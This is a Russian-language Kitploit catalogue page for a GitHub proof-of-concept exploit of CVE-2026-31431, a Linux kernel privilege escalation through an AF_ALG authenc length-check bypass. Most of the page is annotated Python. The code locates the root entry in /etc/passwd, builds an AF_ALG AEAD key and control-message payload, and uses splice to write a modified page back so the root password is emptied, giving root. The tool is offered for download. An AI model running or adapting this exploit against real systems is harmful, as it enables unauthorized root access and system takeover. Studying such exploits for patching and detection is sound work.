Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-31431-poc — Доказательство концепции эксплуатации для CVE-2026-31431 — повышение привилегий в ядре Linux через обход проверки длины authenc в AF_ALG, позволяющее получить root, изменяя /etc/passwd. | Kitploit
Инструменты/GitHubGitHub/yuspring/cve-2026-31431-poc
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubyuspring/cve-2026-31431-poc

cve-2026-31431-poc

Доказательство концепции эксплуатации для CVE-2026-31431 — повышение привилегий в ядре Linux через обход проверки длины authenc в AF_ALG, позволяющее получить root, изменяя /etc/passwd.

Репозиторий
3344 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE 2026-31431 POC

Эта уязвимость использует ошибку в функции проверки длины authencsn в Linux, что приводит к записи dirty page (грязных страниц) в места, к которым у пользователя нет прав, вызывая повышение привилегий

Основной принцип атаки взят из этого репозитория, часть payload была изменена https://github.com/rootsecdev/cve_2026_31431

image Это изображение — исправляющий патч для ядра Linux 6.12.85, в будущем нужно будет трассировать код этих патчей

Процесс реализации

  1. Открыть и изменить /etc/passwd в RAM
root@kitploit:~
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

Цель — изменить пароль root в /etc/passwd на пустой (без проверки через /etc/shadow)

root@kitploit:~
# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
  1. Подключить сокет и сформировать payload
root@kitploit:~
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)
  1. Отправить payload через сокет, что приводит к записи dirty page обратно в файл
root@kitploit:~
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass

Reference

https://xint.io/blog/copy-fail-linux-distributions

Скачать инструмент